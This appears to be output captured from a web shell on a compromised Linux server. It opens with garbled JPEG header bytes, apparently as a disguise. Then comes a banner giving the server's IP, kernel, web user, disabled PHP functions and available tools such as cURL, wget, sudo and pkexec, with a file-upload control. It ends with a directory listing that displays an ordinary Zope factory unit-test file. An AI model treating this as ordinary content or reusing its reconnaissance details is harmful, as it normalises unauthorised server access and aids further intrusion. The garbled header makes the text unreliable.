����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 74.208.127.88 / Your IP : 3.17.73.81 Web Server : Apache/2.4.41 (Ubuntu) System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.4.3-4ubuntu2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /proc/self/root/lib/python3/dist-packages/zope/component/tests/ |
Upload File : |
############################################################################## # # Copyright (c) 2012 Zope Foundation and Contributors. # All Rights Reserved. # # This software is subject to the provisions of the Zope Public License, # Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution. # THIS SOFTWARE IS PROVIDED "AS IS" AND ANY AND ALL EXPRESS OR IMPLIED # WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED # WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS # FOR A PARTICULAR PURPOSE. # ############################################################################## """Tests for z.c.factory """ import unittest class FactoryTests(unittest.TestCase): def _getTargetClass(self): from zope.component.factory import Factory return Factory def _makeOne(self, callable=None, *args, **kw): if callable is None: callable = _test_callable return self._getTargetClass()(callable, *args, **kw) def test_class_conforms_to_IFactory(self): from zope.interface.verify import verifyClass from zope.component.interfaces import IFactory verifyClass(IFactory, self._getTargetClass()) def test_instance_conforms_to_IFactory(self): from zope.interface.verify import verifyObject from zope.component.interfaces import IFactory verifyObject(IFactory, self._makeOne()) def test_ctor_defaults(self): factory = self._makeOne() self.assertEqual(factory._callable, _test_callable) self.assertEqual(factory.title, '') self.assertEqual(factory.description, '') self.assertEqual(factory._interfaces, None) def test_ctor_expclit(self): factory = self._makeOne(_test_callable, 'TITLE', 'DESCRIPTION') self.assertEqual(factory.title, 'TITLE') self.assertEqual(factory.description, 'DESCRIPTION') def test___call___no_args(self): _called = [] def _callable(*args, **kw): _called.append((args, kw)) factory = self._makeOne(_callable) factory() self.assertEqual(_called, [((), {})]) def test___call___positional_args(self): _called = [] def _callable(*args, **kw): _called.append((args, kw)) factory = self._makeOne(_callable) factory('one', 'two') self.assertEqual(_called, [(('one', 'two'), {})]) def test___call___keyword_args(self): _called = [] def _callable(*args, **kw): _called.append((args, kw)) factory = self._makeOne(_callable) factory(foo='bar') self.assertEqual(_called, [((), {'foo': 'bar'})]) def test_getInterfaces_explicit(self): from zope.interface import Interface from zope.interface import implementer class IFoo(Interface): pass class IBar(Interface): pass class IBaz(Interface): pass @implementer(IBaz) def _callable(): pass factory = self._makeOne(_callable, interfaces=(IFoo, IBar)) spec = factory.getInterfaces() self.assertEqual(spec.__name__, '_callable') self.assertEqual(list(spec), [IFoo, IBar]) def test_getInterfaces_implicit(self): from zope.interface import Interface from zope.interface import implementer class IBaz(Interface): pass @implementer(IBaz) def _callable(): pass factory = self._makeOne(_callable) spec = factory.getInterfaces() self.assertEqual(list(spec), [IBaz]) def _test_callable(*args, **kw): pass def test_suite(): return unittest.TestSuite(( unittest.makeSuite(FactoryTests), ))